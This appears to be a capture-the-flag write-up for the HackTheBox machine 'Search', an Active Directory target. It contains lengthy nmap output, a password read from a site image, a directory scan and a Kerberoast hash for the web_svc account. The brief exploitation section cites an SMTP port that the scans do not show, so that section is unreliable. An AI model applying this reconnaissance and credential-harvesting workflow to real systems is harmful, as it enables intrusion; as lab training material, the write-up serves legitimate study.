Search (Hard)
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Search (Hard)

03/05/2023 30/10/2023
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shuciran
9

Host entries:

1

10.10.11.129  search.htb research.search.htb

If Active Directory => NTP Synchronization with the domain controller.

Content

Reconnaissance

Initial reconnaissance for TCP ports

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nmap -p- -sS --open --min-rate 5000 -Pn -n -vvv -oG allPorts 10.10.11.129
# Ports scanned: TCP(65535;1-65535) UDP(0;) SCTP(0;) PROTOCOLS(0;)
Host: 10.10.11.129 ()   Status: Up
Host: 10.10.11.129 ()   Ports: 53/open/tcp//domain///, 80/open/tcp//http///, 88/open/tcp//kerberos-sec///, 135/open/tcp//msrpc///, 139/open/tcp//netbios-ssn///, 389/open/tcp//ldap///, 443/open/tcp//https///, 445/open/tcp//microsoft-ds///, 464/open/tcp//kpasswd5///, 593/open/tcp//http-rpc-epmap///, 636/open/tcp//ldapssl///, 3268/open/tcp//globalcatLDAP///, 3269/open/tcp//globalcatLDAPssl///, 8172/open/tcp/////, 9389/open/tcp//adws///, 49667/open/tcp/////, 49675/open/tcp/////, 49676/open/tcp/////, 49699/open/tcp/////, 49710/open/tcp/////, 49737/open/tcp/////    Ignored State: filtered (65514)

Services and Versions running:

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nmap -p53,80,88,135,139,389,443,445,464,593,636,3268,3269,8172,9389,49667,49675,49676,49699,49710,49737 -sCV -Pn -n -vvvv -oN targeted 10.10.11.129
Nmap scan report for 10.10.11.129
Host is up, received user-set (0.22s latency).
Scanned at 2023-05-03 20:00:55 CST for 108s

PORT      STATE SERVICE       REASON  VERSION
53/tcp    open  domain        syn-ack Simple DNS Plus
80/tcp    open  http          syn-ack Microsoft IIS httpd 10.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Search — Just Testing IIS
88/tcp    open  kerberos-sec  syn-ack Microsoft Windows Kerberos (server time: 2023-05-04 02:01:02Z)
135/tcp   open  msrpc         syn-ack Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: search.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-05-04T02:02:35+00:00; -1s from scanner time.
| ssl-cert: Subject: commonName=research
| Issuer: commonName=search-RESEARCH-CA/domainComponent=search
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-08-11T08:13:35
| Not valid after:  2030-08-09T08:13:35
| MD5:   0738614f7bc029d06d1d9ea63cdbd99e
| SHA-1: 10ae549429d61e44276fb8a224cafde9de93af78
| -----BEGIN CERTIFICATE-----
| MIIFZzCCBE+gAwIBAgITVAAAABRx/RXdaDt/5wAAAAAAFDANBgkqhkiG9w0BAQsF
| ADBKMRMwEQYKCZImiZPyLGQBGRYDaHRiMRYwFAYKCZImiZPyLGQBGRYGc2VhcmNo
| MRswGQYDVQQDExJzZWFyY2gtUkVTRUFSQ0gtQ0EwHhcNMjAwODExMDgxMzM1WhcN
| MzAwODA5MDgxMzM1WjAxMRwwGgYDVQQDExNyZXNlYXJjaC5zZWFyY2guaHRiMREw
| DwYDVQQDEwhyZXNlYXJjaDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
| AJryZQO0w3Fil8haWl73Hh2HNnwxC3RxcPGE3QrXLglc2zwp1AsHLAKhUOuAq/Js
| OMyVBQZo13cmRh8l7XOcSXUI4YV/ezXr7GbznlN9NTGooZkzYuMBa21afqTjBgPk
| VYByyfYcECv8TvKI7uc78TpkwpZfmAKi6ha/7o8A1rCSipDvp5wtChLsDK9bsEfl
| nlQbMR8SBQFrWWjXIvCGH2KNkOI56Xz9HV9F2JGwJZNWrHml7BuK18g9sMs0/p7G
| BZxaQLW18zOQnKt3lNo97ovV7A2JljEkknR4MckN4tAEDmOFLvTcdAQ6Y3THvvcr
| UMg24FrX1i8J5WKfjjRdhvkCAwEAAaOCAl0wggJZMDwGCSsGAQQBgjcVBwQvMC0G
| JSsGAQQBgjcVCIqrSYT8vHWlnxuHg8xchZLMMYFpgcOKV4GUuG0CAWQCAQUwEwYD
| VR0lBAwwCgYIKwYBBQUHAwEwDgYDVR0PAQH/BAQDAgWgMBsGCSsGAQQBgjcVCgQO
| MAwwCgYIKwYBBQUHAwEwHQYDVR0OBBYEFFX1E0g3TlBigM7mdF25TuT8fM/dMB8G
| A1UdIwQYMBaAFGqRrXsob7VIpls4zrxiql/nV+xQMIHQBgNVHR8EgcgwgcUwgcKg
| gb+ggbyGgblsZGFwOi8vL0NOPXNlYXJjaC1SRVNFQVJDSC1DQSxDTj1SZXNlYXJj
| aCxDTj1DRFAsQ049UHVibGljJTIwS2V5JTIwU2VydmljZXMsQ049U2VydmljZXMs
| Q049Q29uZmlndXJhdGlvbixEQz1zZWFyY2gsREM9aHRiP2NlcnRpZmljYXRlUmV2
| b2NhdGlvbkxpc3Q/YmFzZT9vYmplY3RDbGFzcz1jUkxEaXN0cmlidXRpb25Qb2lu
| dDCBwwYIKwYBBQUHAQEEgbYwgbMwgbAGCCsGAQUFBzAChoGjbGRhcDovLy9DTj1z
| ZWFyY2gtUkVTRUFSQ0gtQ0EsQ049QUlBLENOPVB1YmxpYyUyMEtleSUyMFNlcnZp
| Y2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9c2VhcmNoLERDPWh0
| Yj9jQUNlcnRpZmljYXRlP2Jhc2U/b2JqZWN0Q2xhc3M9Y2VydGlmaWNhdGlvbkF1
| dGhvcml0eTANBgkqhkiG9w0BAQsFAAOCAQEAOkRDrr85ypJJcgefRXJMcVduM0xK
| JT1TzlSgPMw6koXP0a8uR+nLM6dUyU8jfwy5nZDz1SGoOo3X42MTAr6gFomNCj3a
| FgVpTZq90yqTNJEJF9KosUDd47hsBPhw2uu0f4k0UQa/b/+C0Zh5PlBWeoYLSru+
| JcPAWC1o0tQ3MKGogFIGuXYcGcdysM1U+Ho5exQDMTKEiMbSvP9WV52tEnjAvmEe
| 7/lPqiPHGIs7mRW/zXRMq7yDulWUdzAcxZxYzqHQ4k5bQnuVkGEw0d1dcFsoGEKj
| 7pdPzYPnCzHLoO/BDAKJvOrYfI4BPNn2JDBs46CkUwygpiJpL7zIYvCUDQ==
|_-----END CERTIFICATE-----
443/tcp   open  ssl/http      syn-ack Microsoft IIS httpd 10.0
|_ssl-date: 2023-05-04T02:02:35+00:00; -1s from scanner time.
| tls-alpn: 
|_  http/1.1
| http-methods: 
|_  Supported Methods: HEAD OPTIONS
| ssl-cert: Subject: commonName=research
| Issuer: commonName=search-RESEARCH-CA/domainComponent=search
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-08-11T08:13:35
| Not valid after:  2030-08-09T08:13:35
| MD5:   0738614f7bc029d06d1d9ea63cdbd99e
| SHA-1: 10ae549429d61e44276fb8a224cafde9de93af78
| -----BEGIN CERTIFICATE-----
| MIIFZzCCBE+gAwIBAgITVAAAABRx/RXdaDt/5wAAAAAAFDANBgkqhkiG9w0BAQsF
| ADBKMRMwEQYKCZImiZPyLGQBGRYDaHRiMRYwFAYKCZImiZPyLGQBGRYGc2VhcmNo
| MRswGQYDVQQDExJzZWFyY2gtUkVTRUFSQ0gtQ0EwHhcNMjAwODExMDgxMzM1WhcN
| MzAwODA5MDgxMzM1WjAxMRwwGgYDVQQDExNyZXNlYXJjaC5zZWFyY2guaHRiMREw
| DwYDVQQDEwhyZXNlYXJjaDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
| AJryZQO0w3Fil8haWl73Hh2HNnwxC3RxcPGE3QrXLglc2zwp1AsHLAKhUOuAq/Js
| OMyVBQZo13cmRh8l7XOcSXUI4YV/ezXr7GbznlN9NTGooZkzYuMBa21afqTjBgPk
| VYByyfYcECv8TvKI7uc78TpkwpZfmAKi6ha/7o8A1rCSipDvp5wtChLsDK9bsEfl
| nlQbMR8SBQFrWWjXIvCGH2KNkOI56Xz9HV9F2JGwJZNWrHml7BuK18g9sMs0/p7G
| BZxaQLW18zOQnKt3lNo97ovV7A2JljEkknR4MckN4tAEDmOFLvTcdAQ6Y3THvvcr
| UMg24FrX1i8J5WKfjjRdhvkCAwEAAaOCAl0wggJZMDwGCSsGAQQBgjcVBwQvMC0G
| JSsGAQQBgjcVCIqrSYT8vHWlnxuHg8xchZLMMYFpgcOKV4GUuG0CAWQCAQUwEwYD
| VR0lBAwwCgYIKwYBBQUHAwEwDgYDVR0PAQH/BAQDAgWgMBsGCSsGAQQBgjcVCgQO
| MAwwCgYIKwYBBQUHAwEwHQYDVR0OBBYEFFX1E0g3TlBigM7mdF25TuT8fM/dMB8G
| A1UdIwQYMBaAFGqRrXsob7VIpls4zrxiql/nV+xQMIHQBgNVHR8EgcgwgcUwgcKg
| gb+ggbyGgblsZGFwOi8vL0NOPXNlYXJjaC1SRVNFQVJDSC1DQSxDTj1SZXNlYXJj
| aCxDTj1DRFAsQ049UHVibGljJTIwS2V5JTIwU2VydmljZXMsQ049U2VydmljZXMs
| Q049Q29uZmlndXJhdGlvbixEQz1zZWFyY2gsREM9aHRiP2NlcnRpZmljYXRlUmV2
| b2NhdGlvbkxpc3Q/YmFzZT9vYmplY3RDbGFzcz1jUkxEaXN0cmlidXRpb25Qb2lu
| dDCBwwYIKwYBBQUHAQEEgbYwgbMwgbAGCCsGAQUFBzAChoGjbGRhcDovLy9DTj1z
| ZWFyY2gtUkVTRUFSQ0gtQ0EsQ049QUlBLENOPVB1YmxpYyUyMEtleSUyMFNlcnZp
| Y2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9c2VhcmNoLERDPWh0
| Yj9jQUNlcnRpZmljYXRlP2Jhc2U/b2JqZWN0Q2xhc3M9Y2VydGlmaWNhdGlvbkF1
| dGhvcml0eTANBgkqhkiG9w0BAQsFAAOCAQEAOkRDrr85ypJJcgefRXJMcVduM0xK
| JT1TzlSgPMw6koXP0a8uR+nLM6dUyU8jfwy5nZDz1SGoOo3X42MTAr6gFomNCj3a
| FgVpTZq90yqTNJEJF9KosUDd47hsBPhw2uu0f4k0UQa/b/+C0Zh5PlBWeoYLSru+
| JcPAWC1o0tQ3MKGogFIGuXYcGcdysM1U+Ho5exQDMTKEiMbSvP9WV52tEnjAvmEe
| 7/lPqiPHGIs7mRW/zXRMq7yDulWUdzAcxZxYzqHQ4k5bQnuVkGEw0d1dcFsoGEKj
| 7pdPzYPnCzHLoO/BDAKJvOrYfI4BPNn2JDBs46CkUwygpiJpL7zIYvCUDQ==
|_-----END CERTIFICATE-----
445/tcp   open  microsoft-ds? syn-ack
464/tcp   open  kpasswd5?     syn-ack
593/tcp   open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      syn-ack Microsoft Windows Active Directory LDAP (Domain: search.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=research
| Issuer: commonName=search-RESEARCH-CA/domainComponent=search
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-08-11T08:13:35
| Not valid after:  2030-08-09T08:13:35
| MD5:   0738614f7bc029d06d1d9ea63cdbd99e
| SHA-1: 10ae549429d61e44276fb8a224cafde9de93af78
| -----BEGIN CERTIFICATE-----
| MIIFZzCCBE+gAwIBAgITVAAAABRx/RXdaDt/5wAAAAAAFDANBgkqhkiG9w0BAQsF
| ADBKMRMwEQYKCZImiZPyLGQBGRYDaHRiMRYwFAYKCZImiZPyLGQBGRYGc2VhcmNo
| MRswGQYDVQQDExJzZWFyY2gtUkVTRUFSQ0gtQ0EwHhcNMjAwODExMDgxMzM1WhcN
| MzAwODA5MDgxMzM1WjAxMRwwGgYDVQQDExNyZXNlYXJjaC5zZWFyY2guaHRiMREw
| DwYDVQQDEwhyZXNlYXJjaDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
| AJryZQO0w3Fil8haWl73Hh2HNnwxC3RxcPGE3QrXLglc2zwp1AsHLAKhUOuAq/Js
| OMyVBQZo13cmRh8l7XOcSXUI4YV/ezXr7GbznlN9NTGooZkzYuMBa21afqTjBgPk
| VYByyfYcECv8TvKI7uc78TpkwpZfmAKi6ha/7o8A1rCSipDvp5wtChLsDK9bsEfl
| nlQbMR8SBQFrWWjXIvCGH2KNkOI56Xz9HV9F2JGwJZNWrHml7BuK18g9sMs0/p7G
| BZxaQLW18zOQnKt3lNo97ovV7A2JljEkknR4MckN4tAEDmOFLvTcdAQ6Y3THvvcr
| UMg24FrX1i8J5WKfjjRdhvkCAwEAAaOCAl0wggJZMDwGCSsGAQQBgjcVBwQvMC0G
| JSsGAQQBgjcVCIqrSYT8vHWlnxuHg8xchZLMMYFpgcOKV4GUuG0CAWQCAQUwEwYD
| VR0lBAwwCgYIKwYBBQUHAwEwDgYDVR0PAQH/BAQDAgWgMBsGCSsGAQQBgjcVCgQO
| MAwwCgYIKwYBBQUHAwEwHQYDVR0OBBYEFFX1E0g3TlBigM7mdF25TuT8fM/dMB8G
| A1UdIwQYMBaAFGqRrXsob7VIpls4zrxiql/nV+xQMIHQBgNVHR8EgcgwgcUwgcKg
| gb+ggbyGgblsZGFwOi8vL0NOPXNlYXJjaC1SRVNFQVJDSC1DQSxDTj1SZXNlYXJj
| aCxDTj1DRFAsQ049UHVibGljJTIwS2V5JTIwU2VydmljZXMsQ049U2VydmljZXMs
| Q049Q29uZmlndXJhdGlvbixEQz1zZWFyY2gsREM9aHRiP2NlcnRpZmljYXRlUmV2
| b2NhdGlvbkxpc3Q/YmFzZT9vYmplY3RDbGFzcz1jUkxEaXN0cmlidXRpb25Qb2lu
| dDCBwwYIKwYBBQUHAQEEgbYwgbMwgbAGCCsGAQUFBzAChoGjbGRhcDovLy9DTj1z
| ZWFyY2gtUkVTRUFSQ0gtQ0EsQ049QUlBLENOPVB1YmxpYyUyMEtleSUyMFNlcnZp
| Y2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9c2VhcmNoLERDPWh0
| Yj9jQUNlcnRpZmljYXRlP2Jhc2U/b2JqZWN0Q2xhc3M9Y2VydGlmaWNhdGlvbkF1
| dGhvcml0eTANBgkqhkiG9w0BAQsFAAOCAQEAOkRDrr85ypJJcgefRXJMcVduM0xK
| JT1TzlSgPMw6koXP0a8uR+nLM6dUyU8jfwy5nZDz1SGoOo3X42MTAr6gFomNCj3a
| FgVpTZq90yqTNJEJF9KosUDd47hsBPhw2uu0f4k0UQa/b/+C0Zh5PlBWeoYLSru+
| JcPAWC1o0tQ3MKGogFIGuXYcGcdysM1U+Ho5exQDMTKEiMbSvP9WV52tEnjAvmEe
| 7/lPqiPHGIs7mRW/zXRMq7yDulWUdzAcxZxYzqHQ4k5bQnuVkGEw0d1dcFsoGEKj
| 7pdPzYPnCzHLoO/BDAKJvOrYfI4BPNn2JDBs46CkUwygpiJpL7zIYvCUDQ==
|_-----END CERTIFICATE-----
|_ssl-date: 2023-05-04T02:02:35+00:00; -1s from scanner time.
3268/tcp  open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: search.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=research
| Issuer: commonName=search-RESEARCH-CA/domainComponent=search
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-08-11T08:13:35
| Not valid after:  2030-08-09T08:13:35
| MD5:   0738614f7bc029d06d1d9ea63cdbd99e
| SHA-1: 10ae549429d61e44276fb8a224cafde9de93af78
| -----BEGIN CERTIFICATE-----
| MIIFZzCCBE+gAwIBAgITVAAAABRx/RXdaDt/5wAAAAAAFDANBgkqhkiG9w0BAQsF
| ADBKMRMwEQYKCZImiZPyLGQBGRYDaHRiMRYwFAYKCZImiZPyLGQBGRYGc2VhcmNo
| MRswGQYDVQQDExJzZWFyY2gtUkVTRUFSQ0gtQ0EwHhcNMjAwODExMDgxMzM1WhcN
| MzAwODA5MDgxMzM1WjAxMRwwGgYDVQQDExNyZXNlYXJjaC5zZWFyY2guaHRiMREw
| DwYDVQQDEwhyZXNlYXJjaDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
| AJryZQO0w3Fil8haWl73Hh2HNnwxC3RxcPGE3QrXLglc2zwp1AsHLAKhUOuAq/Js
| OMyVBQZo13cmRh8l7XOcSXUI4YV/ezXr7GbznlN9NTGooZkzYuMBa21afqTjBgPk
| VYByyfYcECv8TvKI7uc78TpkwpZfmAKi6ha/7o8A1rCSipDvp5wtChLsDK9bsEfl
| nlQbMR8SBQFrWWjXIvCGH2KNkOI56Xz9HV9F2JGwJZNWrHml7BuK18g9sMs0/p7G
| BZxaQLW18zOQnKt3lNo97ovV7A2JljEkknR4MckN4tAEDmOFLvTcdAQ6Y3THvvcr
| UMg24FrX1i8J5WKfjjRdhvkCAwEAAaOCAl0wggJZMDwGCSsGAQQBgjcVBwQvMC0G
| JSsGAQQBgjcVCIqrSYT8vHWlnxuHg8xchZLMMYFpgcOKV4GUuG0CAWQCAQUwEwYD
| VR0lBAwwCgYIKwYBBQUHAwEwDgYDVR0PAQH/BAQDAgWgMBsGCSsGAQQBgjcVCgQO
| MAwwCgYIKwYBBQUHAwEwHQYDVR0OBBYEFFX1E0g3TlBigM7mdF25TuT8fM/dMB8G
| A1UdIwQYMBaAFGqRrXsob7VIpls4zrxiql/nV+xQMIHQBgNVHR8EgcgwgcUwgcKg
| gb+ggbyGgblsZGFwOi8vL0NOPXNlYXJjaC1SRVNFQVJDSC1DQSxDTj1SZXNlYXJj
| aCxDTj1DRFAsQ049UHVibGljJTIwS2V5JTIwU2VydmljZXMsQ049U2VydmljZXMs
| Q049Q29uZmlndXJhdGlvbixEQz1zZWFyY2gsREM9aHRiP2NlcnRpZmljYXRlUmV2
| b2NhdGlvbkxpc3Q/YmFzZT9vYmplY3RDbGFzcz1jUkxEaXN0cmlidXRpb25Qb2lu
| dDCBwwYIKwYBBQUHAQEEgbYwgbMwgbAGCCsGAQUFBzAChoGjbGRhcDovLy9DTj1z
| ZWFyY2gtUkVTRUFSQ0gtQ0EsQ049QUlBLENOPVB1YmxpYyUyMEtleSUyMFNlcnZp
| Y2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9c2VhcmNoLERDPWh0
| Yj9jQUNlcnRpZmljYXRlP2Jhc2U/b2JqZWN0Q2xhc3M9Y2VydGlmaWNhdGlvbkF1
| dGhvcml0eTANBgkqhkiG9w0BAQsFAAOCAQEAOkRDrr85ypJJcgefRXJMcVduM0xK
| JT1TzlSgPMw6koXP0a8uR+nLM6dUyU8jfwy5nZDz1SGoOo3X42MTAr6gFomNCj3a
| FgVpTZq90yqTNJEJF9KosUDd47hsBPhw2uu0f4k0UQa/b/+C0Zh5PlBWeoYLSru+
| JcPAWC1o0tQ3MKGogFIGuXYcGcdysM1U+Ho5exQDMTKEiMbSvP9WV52tEnjAvmEe
| 7/lPqiPHGIs7mRW/zXRMq7yDulWUdzAcxZxYzqHQ4k5bQnuVkGEw0d1dcFsoGEKj
| 7pdPzYPnCzHLoO/BDAKJvOrYfI4BPNn2JDBs46CkUwygpiJpL7zIYvCUDQ==
|_-----END CERTIFICATE-----
|_ssl-date: 2023-05-04T02:02:35+00:00; -1s from scanner time.
3269/tcp  open  ssl/ldap      syn-ack Microsoft Windows Active Directory LDAP (Domain: search.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-05-04T02:02:35+00:00; -1s from scanner time.
| ssl-cert: Subject: commonName=research
| Issuer: commonName=search-RESEARCH-CA/domainComponent=search
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-08-11T08:13:35
| Not valid after:  2030-08-09T08:13:35
| MD5:   0738614f7bc029d06d1d9ea63cdbd99e
| SHA-1: 10ae549429d61e44276fb8a224cafde9de93af78
| -----BEGIN CERTIFICATE-----
| MIIFZzCCBE+gAwIBAgITVAAAABRx/RXdaDt/5wAAAAAAFDANBgkqhkiG9w0BAQsF
| ADBKMRMwEQYKCZImiZPyLGQBGRYDaHRiMRYwFAYKCZImiZPyLGQBGRYGc2VhcmNo
| MRswGQYDVQQDExJzZWFyY2gtUkVTRUFSQ0gtQ0EwHhcNMjAwODExMDgxMzM1WhcN
| MzAwODA5MDgxMzM1WjAxMRwwGgYDVQQDExNyZXNlYXJjaC5zZWFyY2guaHRiMREw
| DwYDVQQDEwhyZXNlYXJjaDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
| AJryZQO0w3Fil8haWl73Hh2HNnwxC3RxcPGE3QrXLglc2zwp1AsHLAKhUOuAq/Js
| OMyVBQZo13cmRh8l7XOcSXUI4YV/ezXr7GbznlN9NTGooZkzYuMBa21afqTjBgPk
| VYByyfYcECv8TvKI7uc78TpkwpZfmAKi6ha/7o8A1rCSipDvp5wtChLsDK9bsEfl
| nlQbMR8SBQFrWWjXIvCGH2KNkOI56Xz9HV9F2JGwJZNWrHml7BuK18g9sMs0/p7G
| BZxaQLW18zOQnKt3lNo97ovV7A2JljEkknR4MckN4tAEDmOFLvTcdAQ6Y3THvvcr
| UMg24FrX1i8J5WKfjjRdhvkCAwEAAaOCAl0wggJZMDwGCSsGAQQBgjcVBwQvMC0G
| JSsGAQQBgjcVCIqrSYT8vHWlnxuHg8xchZLMMYFpgcOKV4GUuG0CAWQCAQUwEwYD
| VR0lBAwwCgYIKwYBBQUHAwEwDgYDVR0PAQH/BAQDAgWgMBsGCSsGAQQBgjcVCgQO
| MAwwCgYIKwYBBQUHAwEwHQYDVR0OBBYEFFX1E0g3TlBigM7mdF25TuT8fM/dMB8G
| A1UdIwQYMBaAFGqRrXsob7VIpls4zrxiql/nV+xQMIHQBgNVHR8EgcgwgcUwgcKg
| gb+ggbyGgblsZGFwOi8vL0NOPXNlYXJjaC1SRVNFQVJDSC1DQSxDTj1SZXNlYXJj
| aCxDTj1DRFAsQ049UHVibGljJTIwS2V5JTIwU2VydmljZXMsQ049U2VydmljZXMs
| Q049Q29uZmlndXJhdGlvbixEQz1zZWFyY2gsREM9aHRiP2NlcnRpZmljYXRlUmV2
| b2NhdGlvbkxpc3Q/YmFzZT9vYmplY3RDbGFzcz1jUkxEaXN0cmlidXRpb25Qb2lu
| dDCBwwYIKwYBBQUHAQEEgbYwgbMwgbAGCCsGAQUFBzAChoGjbGRhcDovLy9DTj1z
| ZWFyY2gtUkVTRUFSQ0gtQ0EsQ049QUlBLENOPVB1YmxpYyUyMEtleSUyMFNlcnZp
| Y2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9c2VhcmNoLERDPWh0
| Yj9jQUNlcnRpZmljYXRlP2Jhc2U/b2JqZWN0Q2xhc3M9Y2VydGlmaWNhdGlvbkF1
| dGhvcml0eTANBgkqhkiG9w0BAQsFAAOCAQEAOkRDrr85ypJJcgefRXJMcVduM0xK
| JT1TzlSgPMw6koXP0a8uR+nLM6dUyU8jfwy5nZDz1SGoOo3X42MTAr6gFomNCj3a
| FgVpTZq90yqTNJEJF9KosUDd47hsBPhw2uu0f4k0UQa/b/+C0Zh5PlBWeoYLSru+
| JcPAWC1o0tQ3MKGogFIGuXYcGcdysM1U+Ho5exQDMTKEiMbSvP9WV52tEnjAvmEe
| 7/lPqiPHGIs7mRW/zXRMq7yDulWUdzAcxZxYzqHQ4k5bQnuVkGEw0d1dcFsoGEKj
| 7pdPzYPnCzHLoO/BDAKJvOrYfI4BPNn2JDBs46CkUwygpiJpL7zIYvCUDQ==
|_-----END CERTIFICATE-----
8172/tcp  open  ssl/http      syn-ack Microsoft IIS httpd 10.0
| ssl-cert: Subject: commonName=WMSvc-SHA2-RESEARCH
| Issuer: commonName=WMSvc-SHA2-RESEARCH
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-04-07T09:05:25
| Not valid after:  2030-04-05T09:05:25
| MD5:   eeb9303e6d46bd8b34a01ed60eb83287
| SHA-1: 1e069fd0ef45b05178b2c6bf1bed975ea87d0458
| -----BEGIN CERTIFICATE-----
| MIIC7TCCAdWgAwIBAgIQcJlfxrPWrqJOzFjgO04PijANBgkqhkiG9w0BAQsFADAe
| MRwwGgYDVQQDExNXTVN2Yy1TSEEyLVJFU0VBUkNIMB4XDTIwMDQwNzA5MDUyNVoX
| DTMwMDQwNTA5MDUyNVowHjEcMBoGA1UEAxMTV01TdmMtU0hBMi1SRVNFQVJDSDCC
| ASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALXrSYHlRsq+HX01zrmC6Ddi
| /+vL/iDzS9endY3CRjfTjBL85qwvU5dkS+cxYTIkDaK5M9eoLcaVSARIcyrGIGuq
| DwIFQuYuaoGeQgiaQCqU5vXgsZ/xE8DRmlnZ2DeiAcHhx72TOHoUoUP4q2EqRoVr
| q5RCBGITT7hdRQd0vuTIHoLxdO2U5wZVCoN5vsp0Du43/LCgXExUpcHAHu9aVAzt
| pXWFY8B3XEFZjafffOHXiK6C2UzX4DddYweKR+ItMfQzX8T2MbX1qVm7D526/gU9
| WRGa7F/tj8+qvzZc4SQZ6Td9PWpMKCPGqqYTGmHlEW8ZowGoMSH62QaCilFxckEC
| AwEAAaMnMCUwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDgYDVR0PBAcDBQCwAAAAMA0G
| CSqGSIb3DQEBCwUAA4IBAQAlGUrh9gLK7Er/BzEjyWebPPf18m3XxgZ13iFllhJ0
| 5tBUb3hczHIr3VOj/OWUJygxw8O10OrBZJZf29TPZ2nXKGbJRpYe+baii49LsGjr
| DiOM5XVZv5qiPBNts7fKyhpzTy0DdnIKAXUIYy/7nQ6rHetXApz89ZEzU6vAN0g0
| Zxq/NolqIVnehFn/36tjc65v1wgo6KnHAQUt6zWufueeYS3k2f4JzvFn4aPtUYRi
| nQgTuGbJTlxdVJ5DJjld9pLyJ+OctGeI1jRITiYlu5p3JwhxU0+mQjGT5mQZ+Umu
| abMpffugMOPYnyHu8poRZWjKgNBN0ygmnqGbTjx57No5
|_-----END CERTIFICATE-----
| tls-alpn: 
|_  http/1.1
|_ssl-date: 2023-05-04T02:02:34+00:00; -1s from scanner time.
|_http-title: Site doesn't have a title.
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
9389/tcp  open  mc-nmf        syn-ack .NET Message Framing
49667/tcp open  msrpc         syn-ack Microsoft Windows RPC
49675/tcp open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
49676/tcp open  msrpc         syn-ack Microsoft Windows RPC
49699/tcp open  msrpc         syn-ack Microsoft Windows RPC
49710/tcp open  msrpc         syn-ack Microsoft Windows RPC
49737/tcp open  msrpc         syn-ack Microsoft Windows RPC
Service Info: Host: RESEARCH; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   311: 
|_    Message signing enabled and required
|_clock-skew: mean: -1s, deviation: 0s, median: -1s
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 32134/tcp): CLEAN (Timeout)
|   Check 2 (port 25481/tcp): CLEAN (Timeout)
|   Check 3 (port 18790/udp): CLEAN (Timeout)
|   Check 4 (port 42296/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-time: 
|   date: 2023-05-04T02:01:57
|_  start_date: N/A

Browsing to port 80 takes us to a single-page web site containing information about provided services and team members.

WebPage-Port-80

Among the images in the Our Features gallery, we can see one containing hand-written notes.

Leaked-Password

Looking closely, we are able to read the following text (disclosing potential credentials):

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Send password to Hope Sharp
IsolationIsKey?

Running dirsearch reveals the existence of more web directories.

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dirsearch.py -u http://10.10.11.129/

403   312B   http://10.10.11.129:80/%2e%2e//google.com
301   146B   http://10.10.11.129:80/js    -> REDIRECTS TO: http://10.10.11.129/js/
403     2KB  http://10.10.11.129:80/Trace.axd
403     1KB  http://10.10.11.129:80/certenroll/
401     1KB  http://10.10.11.129:80/certsrv/
403     1KB  http://10.10.11.129:80/images/
200    44KB  http://10.10.11.129:80/index.html
403     1KB  http://10.10.11.129:80/js/
200   931B   http://10.10.11.129:80/main.html
403     1KB  http://10.10.11.129:80/staff/
403     1KB  http://10.10.11.129:80/staff

Exploitation

As we can identify there is a SMTP port open

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$krb5tgs$23$*web_svc$SEARCH.HTB$search.htb/web_svc*$ff64648b5767a439c7f9e3506eb0ddc5$d9d783a07dd89dc65a491d9e84131b097a6e9645cfea8f46b1b1a8c177380c31f4c96436733d4af949cb1dcb23ab9080cef75383dd2b53586f015bc1e017305e39391a3cb4915885bd041c2a3b3591b093914e251c4e640d1f1c221dc565fcba056db003e4ccdb67abe78e09415ea8e3d5c9d78ebc8cf90ecb3feb6266f61ab1b41b6981a0c0ef10d6141d0b15f70c5937b2da9c6f2925351a1491d64449c30c9f713e5b36608d13a2a6820b6ac514cdcaa7143c2f3da6e3f18e77f7c6b2a7dbcd6fd102c73a7f63c265c43d6426cd9467db241f5aef352bc26a31ab6d8a5f6b5fd0e9dbb12e78c4fd33e7925c7c745d4405cb6a0be1da35602e8848309ff3ec82f086964fda57f256c9703e2e1d6432dbf02fc3fde9cb4aaa7f283c2bfe705571fa595f3dabe8ee7047daf619b24e43a1393f54ea4a87fdaab9d6032f3cec074b8779a85fa9b55c6df05e7c90cca3b2ac92e9197154c10f44d2d4cd502a2997d94d7bb55ba8ff7c9b4daee67a910bb56cb234da244fc6b9fd1341e5e11b6d84d9b2dff64af0f4a1cbab3d50ccb7dc6ad11a33f4115a13d0b67024632c9e677d6af5f